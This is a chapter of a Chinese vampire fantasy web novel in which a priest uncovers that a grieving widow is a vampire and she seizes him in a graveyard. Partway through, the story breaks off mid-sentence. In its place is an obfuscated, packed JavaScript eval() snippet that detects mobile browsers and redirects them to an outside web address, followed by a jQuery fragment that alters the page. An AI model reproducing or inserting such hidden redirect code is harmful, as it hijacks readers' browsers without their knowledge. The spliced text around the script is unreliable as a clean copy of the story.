乌鸦城堡已经占了不少人手了。
那么,没有别的办法,只能秘密的,分散的进行抓捕。
“我需要名单。”思虑至此,安东尼突然说,“你现在立刻马上将所有乘坐过这辆马车的人的名字全部写下来给我。”
光有名单还不够,他还需要帮手,能够将这些人悄无声息引出来的、以绝对姿态站在光明阵营中的帮手。
看了一眼冲他傻笑揉脑袋的车夫,安东尼立刻移开目光。
要说和哈维诊所有关的人,老牧师最信任的其实只有两个人。
然而其中之一的哈维已经死了,他亲自检查的尸体,有可能在死因上出错,但绝对不会在种族上出错!
吸血鬼死亡后,除非被阳光灼烧化成一捧灰,否则身体一定会呈现出大理石般的青灰色,血族的血管会清晰显现在皮肤下方。
尤其是它们的心脏,在躯体死亡后会瞬间化成一滩浓稠的血,就像一朵缓慢盛开的猩红玫瑰,在胸口留下不可隐藏的一团。
这是绝对无法伪装的,所以哈维不是马车上这滴血的制造者。
另一个,毫无因为,就是莱尔·托马斯夫人。
她今早才在自己面前从阳光下走过,虽然打着遮阳伞,但安东尼很清楚,那薄薄的蕾丝伞面根本无法抵御任何东西。
而且最重要的是,她礼貌,优雅,富有学识,和哈维共同开设诊所三个圣年的时间,每一位病患一定都对她非常熟悉。
如果是她出面,将这些人引诱至诊所里,那么修道院就完全不需要过多的人手,只需要瓮中捉鳖就行了。
想通所有关壳,老牧师忍不住露出一个自信满满的微笑来,仿佛已经看见吸血鬼被神圣牢笼牢牢制住的场面了。
要知道,圣廷对于成功抓捕吸血鬼的神职人员,从来都是毫不吝啬的。
尤其是成功实施整场围猎的策划者——为围剿最后一支吸血家族进献计谋并获得成功的享利修士,就被教皇大人亲自提拔,成功进阶成为了圣廷十二枢机主教之一!
那可是无上的荣耀!
他才五十三岁,正是拼搏奋斗的年纪!
“嘿!你!”安东尼转向车夫,压低声音,“今天我问你的话,绝对绝对不能让第二个人知道,明白么?”
得到车夫再三发誓后,安东尼满意了,匆匆奔向森林里的墓地。
他必须尽快和托马斯夫人商量这件事,等拿到所有人的名单,确定好计划后,他就能提交至圣修道院,留下自己的名字,获得教皇或主教大人的亲派,展开这一次足以载入史册的抓捕行动!
黄昏在天边撕扯着残留下最后一丝亮光,安东尼步伐焦急地踩着一地草屑重新回到墓地。
没走几步,他疑惑仰头,“之前的森林….有这么暗么?”
夜鸮从树枝中划过,凄厉的嗓音带来古怪的氛围。
沉默的风吹动着枝桠“哗啦哗啦”响,像是有什么东西潜藏于树影斑驳中,正虎视眈眈盯着不速之客。
安东尼的速度越来越慢,不知道为什么,他总觉得熟悉的森林在今夜变得有些诡异。
下意识的,牧师摸了摸胸前的十字架,沉声诵念了一句祷言后,才再次抬步。
很快,他看见了站在哈维墓碑前的女人。
长长的黑裙垂垂在地上,头发是比幽深更漆黑的颜色。
她背对着安东尼,浑身上下唯一的色彩就是被蕾丝包裹的手指。
然而不知是不是身体原因,那双手在逐渐暗下来的天色中显得异常苍白,像画出来的假人。
…..又像从坟墓里爬出来的死人。
老牧师被自己突如其来的想法惊了一下,他捏了捏眉骨,只觉得自己确实上了年纪了,怎么被那一滴血影响的如此之深。
眼前明明只是一位刚失去丈夫的、柔弱无力的女人而已啊。
想到这,安东尼心下放松了些,他温柔的向莱尔问好,“托马斯夫人,您已经在这里站了很久了。天已经暗下来了,请快跟我回去吧。我有些非常重要的事需要和您仔细商讨。”
今晚的森林实在太黑太暗沉了,刚刚得知城内有吸血鬼徘徊的老牧师根本不想在这样的地方继续呆下去。
要知道每一只吸血鬼都是潜藏于黑暗的杀戮者,它们天生就是是黑暗的宠儿。
每在森林里多呆上一个呼吸,老牧师的紧张便跟着节节攀升。
莱尔没有回头,她时刻注意着牧师的动向。在牧师离开马车朝森林走来的一瞬间她就已经知道了。
【感官敏锐】发挥了重要的作用,血脉中的力量更是让她在一点点暗下来的天色中清晰观测到了牧师的表情变化。
惊讶、愕然、疑惑、谨慎,欣喜若狂,在逐渐靠近墓地的这段路上,又渐渐变得警惕与紧张。
牧师在警惕什么?又在紧张什么?
莱尔背对着安东尼,用微微沙哑的声音说,“我只是想再陪陪他….”
“但您应该为自己的身体着想,您的身体还没有彻底调理好,不进食会加剧痛苦。而且您长时间站立同样会有损健康,别忘记现在已经入秋了,夜风很凉。瞧瞧您的手呀,已经毫无血….色…..了…..”
说着说着,安东尼的声音慢慢小了下来。
等一等….
身体很差,脸色苍白,足不出户……一些曾经不怎么在意的细节此时一股脑从他思绪中冒了出来。
托马斯夫人身上的情况,怎么这么……熟悉?
牧师张了张嘴,忍不住努力回想今早的时候,举着黑色蕾丝伞的托马斯夫人有露出脸来吗?
好像…..真没有,一次都没有。
牧师的心跳越来越快,当时清晨的阳光不算灼热浓烈,可在走过毫无遮挡的花园时,托马斯夫人居
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17081188|195318||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
然一分一秒都没有露出过自己藏在伞下的脸来!
还有这片森林….这头顶过于浓密的树冠….为了备修道院里孩子们的安全,牧师们隔一段时间就会清理墓地周围的树木,让它们不生长得过于密集。
以防孩子们在练习驱逐食尸鬼或幽魂梦魇时,会因为过于浓密的树冠而出现意外伤亡。
然而今夜,似乎一切都变得比平时更加漆黑幽深….安东尼有一刹那,连呼吸都停止了。
为什么之前完全没有注意到?!
他目光逐渐变得震惊怀疑,死死盯着前面人的背影。
黄昏将森林外全镀上了一层暗金色的纱幔,唯有女人脚下晕开一片浓稠的阴影。
她察觉了老牧师变化的态度,慢慢转过上半身,鸽灰色的眼睛一眨不眨地望着他,“怎么了?安东尼先生,您看起来似乎非常不安。”
安东尼下意识向后退了一步,随即立刻顿住身形。
他僵硬地笑了一下,“我不安吗?不不,您看错了。只是我已经上了年纪,实在无法在潮湿的森林里呆太久。夫人,如果您还打算再陪伴哈维医生一会儿,那么请恕我先行离开。”
“抱歉,人老了,就会想在更温暖的地方多呆那么一会儿。而且宴会上还有很多牧师在等我,如果我长久逗留在外,他们一定会着急的追出来查看的。”
老牧师一边絮絮叨叨的说着话,一边连续几步向后撤去。
他尽量维持着步伐的平稳,可他下颌直至脖颈都在紧紧绷着,苍老的皮肤下青筋暴起,像是发现天敌的老猫。
莱尔看着漫上来的黑夜,树影被模糊成了光怪陆离的形状,白发苍苍的老牧师借着夜色,偷偷将一只手伸进长袍下方握住了什么。
嘶,吸血鬼皱了皱眉,好像被发现了。
可或许是黑夜已经降临,来到自己主场的关系,吸血鬼居然没有一丝一毫的紧张。
她只是忍不住叹息。
牧师后退的动作一下子顿住。
晚风打着旋儿从两人中间吹过,刚黑下来的夜晚还太静,安东尼清晰听见了对面女人的声音。
“牧师先生,圣主教导我们,不要撒谎,不要欺骗。可您作为牧师,为什么还要骗我一个可怜人呢?”
莱尔认真看了看安东尼,又将目光眺向不远处的备修道院。
院内的宴会似乎早已结束,只有零星一些孩子们的说话声断断续续的声音传进耳朵,显得一片平静祥和。
“您根本没有来得及通知其他人,也根本没有人发现您正位于什么地方,经历怎样的事情。”
安东尼的脸瞬间白了。
此时最后一丝光亮彻底坠落于地平线下,独属于夜晚的黑沉重的砸进森林。
猫头鹰睁开暗黄的眼睛,蝙蝠群从山洞里掠出。
一滴冷汗顺着苍老牧师的脸颊流下,他喉咙发紧,藏在法袍下摆的手不自觉颤抖起来。
“或许您说的没错…..”安东尼抚摸着胸口佩戴的马鞭草,深吸一口气,“可我是备修道院的主管牧师,这里的每一个预备牧师都要接受我的教导。如果发现找不到我了,他们一定会立刻上报给圣修道院。圣修道院您一定知道,那里拥有这个世界上最伟大的…..”
老牧师的话才说到一半,一张脸,一张苍白无比、刚刚还站在距离他十几步远外的脸霎时间出现在他鼻尖前!
两个人的脸贴得太近了!近到牧师的瞳孔放大却只能看见对方泛起红光的眼睛。
那绝对不是人类的眼睛!阴暗粘稠的妖异红色犹如死亡之地盛开的彼岸花,又像一滴新鲜冰凉的人类鲜血!
安东尼心脏骤缩,大脑轰鸣,剩下的所有话全都卡在了嘴边!
下一秒,吸血鬼一把掐住了他的脖子,恶魔般的叹息回荡耳边。
“所以,为什么您偏偏选择这个时候来找我呢?如果再晚上那么几个圣分钟,您和我都不至于走到如此地步。”
“牧师先生,这全都——全都是您的错啊。”